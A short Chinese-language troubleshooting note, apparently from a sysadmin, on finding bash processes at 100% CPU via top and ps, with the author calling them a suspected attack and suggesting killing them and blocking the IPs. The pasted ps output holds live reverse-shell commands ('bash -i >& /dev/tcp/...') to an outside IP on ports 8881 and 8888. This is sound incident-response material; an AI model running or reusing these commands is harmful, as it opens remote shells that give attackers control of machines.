查看linux服务cpu占用指令:top
展示cpu占比100%被bash占用
根据bash的pid使用
ps -ef | grep ‘pid’
进行查看当前bash进程信息如下,多数了:
/dev/tcp/45.248.86.218/8881 这个的bash进程,
该进程的解释:使用bash -c(shell脚本)进行请求45.248.86.218/8881端口,疑似被恶意占用攻击。可用kill关闭进程,禁止访问下述两个ip。
hkspayu+ 20016 1 0 8月10 pts/8 01:12:29 /bin/bash -c bash -i >& /dev/tcp/45.248.86.218/8881 0>&1
hkspayu+ 20017 20016 99 8月10 pts/8 37-23:55:48 bash -i
hkspayu+ 20656 20655 0 9月10 pts/50 00:00:00 -bash
hkspayu+ 20657 1 0 8月10 pts/8 01:03:30 /bin/bash -c bash -i >& /dev/tcp/45.248.86.218/8888 0>&1